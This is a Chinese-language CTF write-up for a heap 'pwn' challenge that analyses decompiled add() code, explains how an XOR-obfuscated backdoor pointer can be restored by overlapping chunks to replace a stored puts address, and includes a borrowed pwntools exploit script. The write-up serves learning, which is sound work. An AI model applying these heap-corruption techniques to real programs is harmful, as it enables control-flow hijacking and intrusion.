题目链接: 本链接+/pwn
一上来能看到是一个很明显的菜单堆题,并且有后门函数,很明显要劫持控制流,执行后门函数,但问题是没找到通用的漏洞,但是能看到add中,有很大一串逻辑,后来也看到了这里有关于后门函数的操作,以及存放puts函数的地址.
确定思路大概是想办法操作堆块位置,布置好位置,把后门函数放到puts函数的位置,然后调用就可以了.
不过后面看这逻辑看迷糊了….其实挺简单的逻辑, 注意两点,一点是可以辅助画图,来帮助自己分析,另外一点是通过调试来帮助自己分析, 只用脑子想…脑子可能不太够用..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| unsigned __int64 add() { ....
puts("size:"); size = 0; __isoc99_scanf("%u", &size); if ( size <= 0x200 && size > 7 ) { for ( size_4 = 0; size_4 <= 1; ++size_4 ) { if ( !*((_QWORD *)&ptrs + 2 * size_4) ) { dword_4068[4 * size_4] = size; *((_QWORD *)&ptrs + 2 * size_4) = malloc(size); if ( !*((_QWORD *)&ptrs + 2 * size_4) ) { puts("malloc error"); exit(0); } **((_QWORD **)&ptrs + 2 * size_4) = &puts; puts("content:"); v7 = read(0, (void *)(*((_QWORD *)&ptrs + 2 * size_4) + 8LL), size - 8); if ( v7 > 0 ) *(_BYTE *)(v7 + 7LL + *((_QWORD *)&ptrs + 2 * size_4)) = 0; v1 = *(_WORD *)(v7 + 14LL + *((_QWORD *)&ptrs + 2 * size_4)); v8 = magicffff; if ( v1 == 8995 ) v8 = *(unsigned __int64 (**)())(v7 + 8LL + *((_QWORD *)&ptrs + 2 * size_4)); for ( i = 0; i <= 7; ++i ) *(_BYTE *)(v7 + (__int64)i + 8 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)i)) ^ 0x23; v2 = *(_WORD *)(v7 + 22LL + *((_QWORD *)&ptrs + 2 * size_4)); v8 = magicffff; if ( v2 == 12850 ) v8 = *(unsigned __int64 (**)())(v7 + 16LL + *((_QWORD *)&ptrs + 2 * size_4)); for ( j = 0; j <= 7; ++j ) *(_BYTE *)(v7 + (__int64)j + 16 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)j)) ^ 0x32; return __readfsqword(0x28u) ^ v9; } } } return __readfsqword(0x28u) ^ v9; }
|
比较关键的几条语句如下:
1
| **((_QWORD **)&ptrs + 2 * size_4) = &puts;
|
这一条把堆块数据区开头8字节赋值了puts函数的地址
然后从第8字节开始读入剩下的数据
1
| v7 = read(0, (void *)(*((_QWORD *)&ptrs + 2 * size_4) + 8LL), size - 8);
|
下面这两句刚开始没看懂,一直在想怎么样才能满足这个条件呢,这条语句的意思是,判断输入的数据后面第6字节是否等于8995, 14可以拆成两个来看 8 + 6, 8代表了puts的8字节, 6就是剩下的6字节, 然后判断这个地址的值是否等于8995,8995这样的数还是切换成16进制比较好! 因为在gdb中显示的基本都是16进制,这可能也是自己没判断出来相关关系的一个原因
1 2
| v1 = *(_WORD *)(v7 + 14LL + *((_QWORD *)&ptrs + 2 * size_4)); if ( v1 == 8995 ) v1 == 0x2323
|
其实看不太懂没关系,完全可以在gdb中调试的时候发现端倪,在那两次奇怪的xor之后,能够看到符合条件的两个值,0x2323和0x3232
也就是说可以调整位置让程序符合这个判断条件,符合判断条件有什么用呢?
如果不符合条件,v8仍然是后门函数的地址,那么xor后,仍然是一个无效地址,但如果已经xor过一次,通过进入0x2323的执行流,把v8的值设置为xor过一次的地址,那么再次xor后,就恢复原样了!就得到后门函数了
1 2 3 4 5
| v8 = magicffff; if ( v1 == 0x2323 ) v8 = *(unsigned __int64 (**)())(v7 + 8LL + *((_QWORD *)&ptrs + 2 * size_4)); for ( i = 0; i <= 7; ++i ) *(_BYTE *)(v7 + (__int64)i + 8 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)i)) ^ 0x23;
|
具体步骤
- 刚开始两次add, 都添加大小为32的块,
- 删除0号块
- 申请40大小的块(32行吗?32不行,32的话,用不了下一个chunk的prev_size字段),输入31个a(不是32是因为后面会补一个0x00),然后后面两个8字节就被xor了,后面两个8字节,一个是size,一个是存放puts函数地址的,这样的话,就把magic xor后的数值存放到了这里, 所以后面的问题是如何解xor,当时也卡在了这里
其实在调试中仔细观察的话(所以不能光空想!) 会发现有0x2323 0x3232,正好可以进入到两个判断条件中,
后面再进入0x23, 两次xor就回到原先的值了!
- 再次释放0
- 再次申请0 40,并填满
- show 1 就可以了
奥。。。明白为什么比赛的时候做题没做出来了。。没有看懂关键逻辑(以及想当然的以为xor后的东西看着一连串一样的,以为没啥用,其实地址0x55555当然很多一样的了。。)。。就像之前的那道题一样,都不需要写脚本,看懂逻辑了直接交互就可以了
关键逻辑在add里面
偷一下exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * from time import sleep import os import sys
elfPath = './pwn' libcPath = '' remoteAddr = '' remotePort = ''
context.log_level = 'debug' context.binary = elfPath context.terminal = ['tmux', 'splitw', '-h']
myelf = context.binary if sys.argv[1] == 'l': sh = process(elfPath) libc = myelf.libc else: if sys.argv[1] == 'd': sh = process(elfPath, env = {'LD_PRELOAD': libcPath}) else: sh = remote(remoteAddr,remotePort) context.log_level = 'info' if libcPath: libc = ELF(libcPath) else: libc = myelf.libc
def add(sz, content): sh.sendlineafter('option:\n', '1') sh.sendlineafter('size:\n', str(sz)) sh.sendlineafter('content:\n', content)
def show(idx): sh.sendlineafter('option:\n', '2') sh.sendlineafter('id:\n', str(idx))
def delete(idx): sh.sendlineafter('option:\n', '3') sh.sendlineafter('id:\n', str(idx))
if __name__ == '__main__': add(0x28, 'a' ) add(0x28, 'b' ) delete(0) gdb.attach(sh) add(0x28, 'c' * 0x1f) delete(0) add(0x28,'d' * 0x1f) show(1)
sh.interactive() sh.close()
|
https://www.aucyberclub.org/makaleler/2023/01/31/prototypepollution.html
https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse-2023/calibrator/
很多题都不错,好好搞一下有空